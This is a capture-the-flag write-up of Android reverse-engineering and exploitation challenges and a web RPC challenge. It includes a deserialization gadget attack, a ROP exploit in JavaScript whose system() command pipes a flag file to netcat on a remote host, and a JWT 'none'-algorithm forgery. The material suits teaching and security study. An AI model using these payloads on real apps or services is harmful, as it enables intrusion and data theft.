The last two weeks Hackerone have been hosting a CTF as a qualifier for their Las Vegas H1-702 event. The goal was to solve a few Android challenges and a web challenge. To qualifiy for the main event you had to, apart from solving the levels, submit writeups of how you did it. These are the writeups I submitted for my solutions.


There were five android challenges. The first three were reverse engineering challenges and the last two were exploitation levels, a very welcome format which I haven't seen before when it comes to mobile challenges. All challenges except number three started out with the same process of unpacking and decompiling the app. This is standard procedure stuff when working with android apps but for completeness I have put a description in the appendix on how to unpack and decompile android APK files.

Mobile 1

The first challenge is just a simple exercise in static analysis and kind of shows off where interesting stuff typically is located within an app. The flag is split into five parts. Android apps very roughly consist of code and resources. The code is mostly Java (or Kotlin) but can also be native code. The resources are typically text based in the form of XML files or media files such as images.

We start looking in the Java code, specifically in the MainActivity class and on line 19 of "com/hackerone/mobile/challeng1/", we find:

Log.d("Part 1", "The first part of your flag is: \"flag{so_much\"");

There is also another Java class called FourthPart in the file "com/hackerone/mobile/challeng1/"

public class FourthPart
    String eight() {
        return "w";
    String five() {
        return "_";
    String four() {
        return "h";
    String one() {
        return "m";
    String seven() {
        return "o";
    String six() {
        return "w";
    String three() {
        return "c";
    String two() {
        return "u";

Rearranging the return values in order of the function names gives us: "much_wow". Having looked at the Java code, we now switch our attention over to the resources. Specifically, let's look in "res/values/strings.xml" since strings can usually tell us a lot about a program being reverse engineered. On line 33 we find:

<string name="part_3">part 3: analysis_</string>

Finally we take a look at the native code. The "lib" directory of the app contains the native code compiled for several platforms. In most cases (but not always), the code will be the same for all of them but compiled for different targets. I chose to look at the x86 version and open "lib/x86/" in IDA Pro.

The native code exposes some functions to the Java part of the app which is how you transfer between executing Java and native code. The function signatures of these functions are typically named after the class they occur in. We find one such function called "Java_com_hackerone_mobile_challenge1_MainActivity_stringFromJNI". Decompiling it with Hex-Rays gives us something like this which includes part two on line nine:

int __cdecl Java_com_hackerone_mobile_challenge1_MainActivity_stringFromJNI(int a1)
  int v1; // esi
  void *v2; // eax
  int v4; // ST14_4
  int v5; // [esp+8h] [ebp-34h]
  int v6; // [esp+10h] [ebp-2Ch]

  sub_5EE0((int)&v6, "This is the second part: \"_static_\"");
  v1 = (*(int (__cdecl **)(int, int, int *))(*(_DWORD *)a1 + 668))(a1, v6, &v5);
  v2 = (void *)(v6 - 12);
  if ( (_UNKNOWN *)(v6 - 12) != &unk_2C0C0 )
    if ( &pthread_create )
      if ( _InterlockedExchangeAdd((volatile signed __int32 *)(v6 - 4), 0xFFFFFFFF) > 0 )
        return v1;
      v4 = *(_DWORD *)(v6 - 4);
      *(_DWORD *)(v6 - 4) = v4 - 1;
      if ( v4 > 0 )
        return v1;
  return v1;

Finally, just like in the Java case, we have a number of native functions, each returning one character each. Taking them all together in the order they occur in the binary we get "_and_cool}".

Putting it all together in the right order we get the flag.

Flag: flag{so_much_static_analysis_much_wow_and_cool}

Mobile 2

Looking at the MainActivity class in "com/hackerone/mobile/challenge2/" in this app we can quickly establish that the app takes a PIN code from the user, passes it to a native function to generate a key which is then used together with a static IV to decrypt a string in the class.

public void onComplete(final String s) {
    final String tag = MainActivity.this.TAG;
    final StringBuilder sb = new StringBuilder();
    sb.append("Pin complete: ");
    Log.d(tag, sb.toString());
    final byte[] key = MainActivity.this.getKey(s);
    Log.d("TEST", MainActivity.bytesToHex(key));
    final SecretBox secretBox = new SecretBox(key);
    final byte[] bytes = "aabbccddeeffgghhaabbccdd".getBytes();
    try {
        Log.d("DECRYPTED", new String(secretBox.decrypt(bytes, MainActivity.this.cipherText), StandardCharsets.UTF_8));
    catch (RuntimeException ex) {
        Log.d("PROBLEM", "Unable to decrypt text");
protected void onCreate(final Bundle bundle) {
    this.cipherText = new Hex().decode("9646D13EC8F8617D1CEA1CF4334940824C700ADF6A7A3236163CA2C9604B9BE4BDE770AD698C02070F571A0B612BBD3572D81F99");
    (this.mPinLockView = (PinLockView)this.findViewById(2131165263)).setPinLockListener(this.mPinLockListener);
    this.mIndicatorDots = (IndicatorDots)this.findViewById(2131165241);

Specifically note how the "cipherText" field is set to the static value in the constructor and how the PIN String variable "s" is passed to getKey(s) and finally everything is decrypted by the SecretBox class. SecretBox is part of the NaCl crypto library and uses the xsalsa20+poly1305 cipher algorithm.

We can also check what constraints we have on the PIN by referencing the id of the view, 2131296283 (0x7f09001b) in "res/values/public.xml" to find the correct activity definition:

<public type="layout" name="activity_main" id="0x7f09001b" />

Looking in "res/layout/acticity_main.xml" we see that the PIN is probably 6 digits.

<com.andrognito.pinlockview.PinLockView android:id="@id/pin_lock_view"
     app:pinLength="6" />

This means that as long as we know the key generation algorithm, we can just try which of the 1000000 PIN codes leads to a correct decryption.

Decompiling the key generation algorithm in the getKey() function is a bit messy since the code generated by the compiler is not as straight forward as it could have been. There is one loop containing two magic constants: "0x811C9DC5" and "16777619" which are the values used in the fnv1 and fnv1a hashes (32 bit flavor). By checking the order of the multiplication and the XOR operation, we conclude that it's most likely the fnv1a hash that is being used.

Further analysis reveals that the algorithm works by looping over the digits as characters, twice. Each time it takes a digit and constructs the string consisting of the digit repeated as many times as the number it represents, i.e. a "4" yields the string "4444". This string is then hashed with fnv1a and the resulting 32 bit value is XOR:ed into an array of 8 elements. Since the PIN is 6 digits and we loop over it twice, this means that the first 4 elements of the array is the XOR of two elements while the last 4 elements is just a single hash.

Re-implementing the same algorithm in Python, including the decryption yields the following script:

#!/usr/bin/env python
import nacl.secret
import fnvhash
import struct

cipher = '9646D13EC8F8617D1CEA1CF4334940824C700ADF6A7A3236163CA2C9604B9BE4BDE770AD698C02070F571A0B612BBD3572D81F99'
cipher = cipher.decode('hex')

salt = 'aabbccddeeffgghhaabbccdd'

def key_hash(s):
    hashes = [0]*8
    for i in range(len(s)*2):
        digit = s[i%len(s)]
        val = ord(s[i%len(s)])-ord('0')
        assert(val >= 0 and val < 10)

        hashinput = digit*val
        hash = fnvhash.fnv1a_32(hashinput) & 0xFFFFFFFF

        hashes[i%8] ^= hash

    key = ''.join(struct.pack('<I', h) for h in hashes)
    return key

for pin in range(1000000):
    if pin % 10000 == 0:
    cand = '%06d' % pin
    key = key_hash(cand)
    box = nacl.secret.SecretBox(key)
        m = box.decrypt(cipher, nonce=salt)
        print('Flag: %s' % m)
        print('PIN: %d' % pin)
        print('Key: %s' % key.encode('hex'))

Note that we can directly use SecretBox from NaCl as it has a Python binding as well. We can also verify that the algorithm is correct by running the app in an emulator, checking the output of "logcat" and comparing the logged key from line 8 of the onComplete() function. For example, I used the following log output from the emulator to compare it to the output of my algorithm, which matched:

06-23 13:11:55.045 4291 4291 D PinLock : Pin complete: 111111
06-23 13:11:55.045 4291 4291 D TEST : 000000000000000000000000000000001CA70C341CA70C341CA70C341CA70C34

Running the script gives us the correct PIN, key and flag.

PIN: 918264
Key: 499b77d8b93bfebb98fcc976003a2df47d70e389a5a6df7bac175d271ca70c34
Flag: flag{wow_yall_called_a_lot_of_func$}

Mobile 3

In this challenge we are not given an APK app file but instead a "boot.oat" and "base.odex". An odex file is a conversion from the classes.dex file which contains the JVM code to optimize loading of the app. It is typically done for apps in the base image, i.e. "built-in" apps.

Anyway, this is not much of a problem as we can use the following command to first convert the odex file into a collection of smali files, then package them into a dex file and finally convert the dex file into a jar file which we decompile with Procyon as with the other apps:

java -jar ~/tools/smali/bin/baksmali-2.2.4.jar x -c boot.oat base.odex -o out  
java -jar ~/tools/smali/bin/smali-2.2.4.jar a -o classes.dex out  
~/tools/dex-tools/ classes.dex  

Looking at the Java code in the MainActivity we find something like this:

MainActivity.key = new char[] { 't', 'h', 'i', 's', '_', 'i', 's', '_', 'a', '_', 'k', '3', 'y' };
final String encryptDecrypt = encryptDecrypt(
        new StringBuilder("kO13t41Oc1b2z4F5F1b2BO33c2d1c61OzOdOtO")
        .replace("O", "0")
        .replace("t", "7")
        .replace("B", "8")
        .replace("z", "a")
        .replace("F", "f")
        .replace("k", "e")

The encryptDecrypt() function is simply a byte-wise XOR. Re-implementing this in python and running it gives us the flag:

#!/usr/bin/env python

def xor(a, b):
    return ''.join([chr(ord(x[0])^ord(x[1])) for x in zip(a,b)])

key = ''.join([ 't', 'h', 'i', 's', '_', 'i', 's', '_', 'a', '_', 'k', '3', 'y'])
cipher = "kO13t41Oc1b2z4F5F1b2BO33c2d1c61OzOdOtO"[::-1].replace("O", "0").replace("t", "7").replace("B", "8").replace("z", "a").replace("F", "f").replace("k", "e").decode('hex')

flag = 'flag{\%s}' % xor(key*100, cipher)
print('Flag: %s' % flag)

Flag: flag{secr3t_littl3_th4ng}

Mobile 4

In this level we are given a vulnerable APK app and the goal is to submit an APK app of our own which will be run in the same emulator as the vulnerable one. The flag is a text file owned by the vulnerable app. This is very similar to the typical "pwnable" challenge setup but in a mobile context.

The vulnerable app is a traditional maze game. You can control the player in two ways. First of you can swipe on the screen but that doesn't really help us as we want to our exploit to be completely without interaction. The other way you can interact with the app is through intents. An intent is a way of communicating inside and between apps. You can for example launch specific activities in another app. This is what is used for example when you open a pdf file in the Dropbox app and it opens in the Adobe Reader app.

The vulnerable app exposed one broadcast receiver.

this.registerReceiver((BroadcastReceiver)new BroadcastReceiver() {
    public void onReceive(final Context context, final Intent intent) {
        MazeMover.onReceive(context, intent);
}, new IntentFilter(""));

This receiver can handle three different commands depending on the extra data you attach to the intent:

  • get_maze
  • move
  • cereal

The first two are pretty self explainatory but the last one is a bit strange. The handler for that message looked like this:

else if (intent.hasExtra("cereal")) {

So here an object we attach to the intent is deserialized. This raises a red flag immediately. Looking at the GameState class however, nothing obviously suspiscious is found. However, the GameState has a field of type StateController called stateController. This field is used in the following way:

public void finalize() {
    Log.d("GameState", "Called finalize on GameState");
    if (GameManager.levelsCompleted > 2 && this.context != null) {, this);
public void initialize(final Context context) {
    this.context = context;
    final GameState gameState = (GameState)this.stateController.load(context);

The StateController class is actually an abstract class with two different implementations: BroadcastAnnouncer and StateLoader. After looking at the StateLoader class there isn't really anything there which helps us, however, the load() and save() functions of the BroadcastAnnouncer are interesting. Note that the save function only triggers if you have solved enough levels.

public Object load(final Context context) {
    this.stringVal = "";
    final File file = new File(this.stringRef);
    try {
        final BufferedReader bufferedReader = new BufferedReader(new FileReader(file));
        while (true) {
public void save(final Context context, final Object o) {
    new Thread() {
        public void run() {
            try {
                final StringBuilder sb = new StringBuilder();
                final HttpURLConnection httpURLConnection = (HttpURLConnection)new URL(sb.toString()).openConnection();

Basically, the load() function reads the content of a file based on the value of the String field "stringRef" and the save() function sends this to a URL specfified by the String field "destUrl". This means that by creating a serialized GameState object with a BroadcastAnnouncer in the "stateController" field with its "stringRef" set to "/data/local/tmp/challenge4" (this path was given in the challenge instructions) and "destUrl" set to "" the flag will be sent to us when the finalize() function of the GameState object is called.

To put it all together, I created an app which did the following:

  1. Send a launch intent for "" to launch the app.
  2. Send a broadcast intent for "" with the extra data "start_maze" to go into the game.
  3. Send a broadcast intent for "" with "get_maze" in the extra data.
  4. Do a standard BFS to solve the algorithm and generate a series of moves to solve it.
  5. Send the moves one at a time with a braodcast event to "" with the "move" extra data set.
  6. Send a broadcast event to "" with the serialized payload in the "cereal" extra data.
  7. Repeat 3-6 until the flag appears in the access log of my web server.

As stated before, step 3-6 has to be repeated a few times for enough levels to be solved and for the finalize() function to be called.

Running this on the victim emulator gives the flag.


Mobile 5

This level had the same setup as the previous challenge. The goal is to submit an app which is ran on the same emulator as the vulnerable app containing a flag.

This app contains very little Java code. It's basically two parts. One part is a custom WebView component which exposes three Java functions into the Javascript API of the WebView. The other part is just a MainActivity which can launch the WebView via a intent containing the target URL as extra data. This means that we can tell the app to visit a URL of our choice.

The functions exposed have the following signatures:

  • public String censorMyCats(String string)
  • public String censorMyDogs(final int n, final String s)
  • public String getMySomething()

They all respectively call a native function with a similar name. They do a little bit of conversion before and after juggling between JavaScript and Java types but no real logic. Looking at these three native functions one at a time we discover some exploitation gadgets.

First we can look at the censorCats function:

byteArray __cdecl Java_com_hackerone_mobile_challenge5_PetHandler_censorCats(JNIEnv *jni, int this, jbyteArray input_str)
  jbyte *input_bytes; // eax
  jbyteArray output; // esi
  char dest; // [esp+8h] [ebp-214h]

  input_bytes = (*jni)->GetByteArrayElements(jni, input_str, 0);
  memcpy(&dest, input_bytes, 560u);
  output = (*jni)->NewByteArray(jni, 512);
  (*jni)->SetByteArrayRegion(jni, output, 0, 512, &dest);
  return output;

This is just a vanilla stack buffer overflow which is just long enough to overwrite the saved return address but not more. So, to be able to use this we need either a one-shot gadget or some kind of pivot.

Next up is the censorDogs() function:

jbyteArray __cdecl Java_com_hackerone_mobile_challenge5_PetHandler_censorDogs(JNIEnv *jni, jobject this, int output_len, jstring input_str)
  const char *input_bytes; // eax MAPDST
  size_t input_len; // eax
  char *input_decoded; // esi
  jbyteArray output; // esi
  char buf1[512]; // [esp+8h] [ebp-414h]
  char buf2[512]; // [esp+208h] [ebp-214h]

  input_bytes = (*jni)->GetStringUTFChars(jni, input_str, 0);
  input_len = strlen(input_bytes);
  input_decoded = b64_decode_ex(input_bytes, input_len, 0);
  if ( strlen(input_decoded) < 513 )
    strcpy(buf2, input_decoded);
    strcpy(data1, input_decoded);
    str_replace(buf2, "dog", "xxx");
    output = (*jni)->NewByteArray(jni, output_len);
    (*jni)->SetByteArrayRegion(jni, output, 0, output_len, buf1);
    output = 0;
  return output;

This function takes a string, base64 decodes it, stores it in a global buffer and a stack buffer. Then it uses the input length to decide how much data to return. This means we have a Heartbleed style memory leak where we can set the length to a high number to leak data on the stack. This enables us to leak the stack cookie which is required for the buffer overflow in the previous function to work.

Finally the getSomething() function returns the address of the global buffer which censorDogs() copies data to. This means we can write almost arbitrary data (memcpy stops on null bytes) to a known location. This buffer is no executable by the way so we can not inject shellcode here.

char *__cdecl Java_com_hackerone_mobile_challenge5_PetHandler_getSomething()
  return data1;

In summary we have a memory leak which gives us the stack cookie, we can write null-free data to a known location and we can overwrite the return address with an arbitrary value. We can further explore this overwrite to see which registers we can control the data of. We can attach a gdbserver to the app and then connect to it with gdb from outside the emulator. We then point the webview to a URL containing Javascript which first leaks the stack cookie with the censorDogs() function and then calls the censorCats() function with a long buffer of different values taking care to put the stack cookie in the right place. This crashes the app and we can use the debugger to look at the register values which gives us the following:

rax   0x35
rbx   0x4343434343434343
rcx   0x5b0000
rdx   0x0
rsi   0x7dbdae8c8a90
rdi   0x7dbdae8c8a80
rbp   0x7dbdae8c8e18
rsp   0x7dbdae8c8d70
r8    0x7dbdae8c8a78
r9    0x200
r10   0x7dbdbd769908
r11   0x0
r12   0x7dbdae8c8fc0
r13   0x7dbdafb0e120
r14   0x4444444444444444
r15   0x4545454545454545
rip   0xfffffffefffffffe

This means that we fully control the contents of rbx, r14, r15 and rip. Now, one possible strategy is to try to call the libc system() function with a command stored in the global buffer we know the address of. There are two problems we need to solve for that. First of all, we still have no idea where the system function is located and secondly we do not control the contents of the rdi register which should hold the argument to the system() function (standard x64 calling convention).

To solve the second problem we take the from the target Android version (given in the challenge description) and use a tool called xrop to search for gadgets. I simple used grep to search the output for registers I control and eventually found this gadget:

0x7d73e    BE01000000   mov    esi,0x1
0x7d743    4889DF       mov    rdi,rbx
0x7d746    4489F2       mov    edx,r14d
0x7d749    4C89F8       mov    rax,r15
0x7d74c    FFD0         call   rax

This is perfect, we put the adress of system() in r15 and the address of the global buffer in rbx and we are done.

The first problem is solved by a interesting property of Android. It uses ASLR so libraries are loaded in random location, however they use a shared memory model so that every process will have libraries loaded in the same adress. This means that adresses are random between reboots but not between two apps running at the same time. This means that we can create a small piece of native code in our app like this:

JNICALL Java_ctf_zetatwo_com_challenge5exploit2_MainActivity_getSystemAddr( JNIEnv *env, jobject /* this */) {
    return reinterpret_cast<long long int>(system);

which we then use in the Java part to trigger out exploit like this:

private void doExploit() {
    Intent launchIntent = getPackageManager().getLaunchIntentForPackage("");
    launchIntent.putExtra("url", "" + Long.toString(getSystemAddr()));

public native long getSystemAddr();

This sends the app to a URL with a PHP script which outputs the javascript with the provided adress to system as part of the script. The final attack script then looks like this. I have left out some utility functions for brevity.

//1. Get address of global buffer
data_addr = PetHandler.getMySomething();
data_addr_val = parseInt(data_addr, 10);
data_addr_packed = pack(data_addr_val);

//2. Get system address from input and calculate gadget location
system_addr = <?php echo $_GET['sys_addr']; ?>;
system_offset = 0x07D360;
gadget_offset = 0x07D743;
base_addr = system_addr - system_offset;
gadget_addr = base_addr + gadget_offset;

//3. Create argument to system()
command = "cat /data/local/tmp/challenge5|nc 5000";
command = btoa(command)

//4. Leak stack cookie
leak1 = JSON.parse(PetHandler.censorMyDogs(512 + 512 + 8 + 32 + 8, command));
cookie = leak1.slice(512 + 512, 512 + 512 + 8);

//5. Put together payload
payload = []
payload = payload.concat(pad(512, 0x41));
payload = payload.concat(pad(8, 0x42)); //pad
payload = payload.concat(cookie);
payload = payload.concat(data_addr_packed); //rbx
payload = payload.concat(pad(8, 0x44)); //r14
payload = payload.concat(pack(system_addr)); //r15
payload = payload.concat(pack(gadget_addr)); //ret

//6. Trigger buffer overflow

Setting up this in the web listener and submitting the app results in the follow hit in the log

[Wed Jun 27 01:32:52 2018] [200]: /?a=129216752374624

Shortly followed by the following output in my listener

nc -v -l -p 5000
Listening on [] (family 0, port 5000)
Connection from [] port 5000 [tcp/*] accepted (family 2, sport 24192)

Flag: flag{in_uR_w33b_view_4nd_ur_mem}

Appendix: Mobile setup

When analyzing an Android app, there are three things we want to extract from it: the java code, the resources and any native code. Android apps come in the form of an APK file which is pretty much a zip file. To decode this file to get the resources and native code, we use a tool called "apktool", specifically the decode command. You call it with the APK file as an argument and it unpacks a directory with the contents of the app.

apktool d challenge1.apk

The resources and native code is directly accessible but the java code is not in a desirable format. To get the java code, we first use a tool called "dex2jar" to convert the "classes.dex" file into a Java jar. The classes.dex file contains all the JVM code in a specific format for the dalvik virtual machine. By converting it into a Java JAR file we can the use the Procyon decompiler to decompile the app into human readable Java code.

~/tools/dex-tools/ challenge1.apk  
java -jar ~/tools/procyon/procyon-decompiler-0.5.30.jar -o decompiled challenge1-dex2jar.jar  

Now you are all set up to perform static analysis of an Android app.


In this web challenge we are given the address to a web server which serves an index page with instructions. The instructions says there is a RPC service somewhere on this server with a secret message we want to read.

After checking some typical standard paths such as "robots.txt", ".git", "index.php" and a couple of others I finally tried to see if there was a "rpc.php" and indeed there was. Unfortunately it just complained about the version being unknown. After exploring that rabbit hole for a couple of hours I figured I must have missed something and went for the brute force approach by running dirsearch. To make it run as fast as possible, I used whois to figure out where the server was hosted. It turns out it was hosted with Digital Ocean in their New York data center. So, I went to my DO account and set up a server there myself and ran the dirsearch from there. This yielded the following output:

./ -u '' -f -e html -x 400,403,404

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: html | Threads: 10 | Wordlist size: 10198

Error Log: /root/dirsearch/logs/errors-18-06-27_22-25-16.log


[22:25:16] Starting:
[22:25:27] 200 -  597B  - /index.html
[22:25:31] 200 -   11KB - /README.html

Bingo! We found a README.html. This page describes the RPC API exposed by the rpc.php. By reading the documentation we find out that we can perform 4 actions:

  • resetNotes()
  • createNote(id, note)
  • getNotesMetadata()
  • getNote(id)

However this requires an authenticated user via JWT token. One such token is given in the documentation. Decoding the JWT token in the docs tells us it belongs to user id "2" and is verified by a SHA256-HMAC. Here we use a classic JWT trick where we simply drop the the signature and change the declared signature algorithm to "None". This can be done in a number of ways but for example using PyJWT like this:

token = jwt.encode({'id': user}, None, algorithm='none')

This means we can change our user id to id "1". Trying anything other than 1 and 2 only yields an error. Communicating with the api involves setting the method and params as get params, an Authorization header with the JWT token and an Accept header with the value "application/notes.api.v1+json".

Using the command we can create notes with a chosen or random key and chosen value, retrieve a message by key, delete all notes and list notes metadata. Note that this does not give us the note key but only their creating timestamp. When using the user with user id 1 we notice that there is one note staying even after calling the reset method. This is probably the secret flag note.

Looking at the html source of README.html we find the following comment:

Version 2 is in the making and being tested right now, it includes an optimized file format that
sorts the notes based on their unique key before saving them. This allows them to be queried faster.
Please do NOT use this in production yet!

This is interesting. In the first version, the timestamps returned when calling getNotesMetadata were always sorted in ascending time order but now they are instead sorted according to the order of their keys. We can use this as a sorting oracle. The way it works is we create a note with id "a" then check if this sorts before or after the secret note. We then try with "b" and "c" and so on until we the order of the timestamp change. We then know the first letter of the id and fixate it. We can then move on to the second letter and so on. This is easily scripted and after running for a few seconds we reveal the secret id to be "EelHIXsuAw4FXCa9epee". You can of course do it even faster by doing a binary search instead of a linear search but since we are working with such small values and short strings it's not really worth the extra effort. Retrieving this note gives us the base64 encoded flag.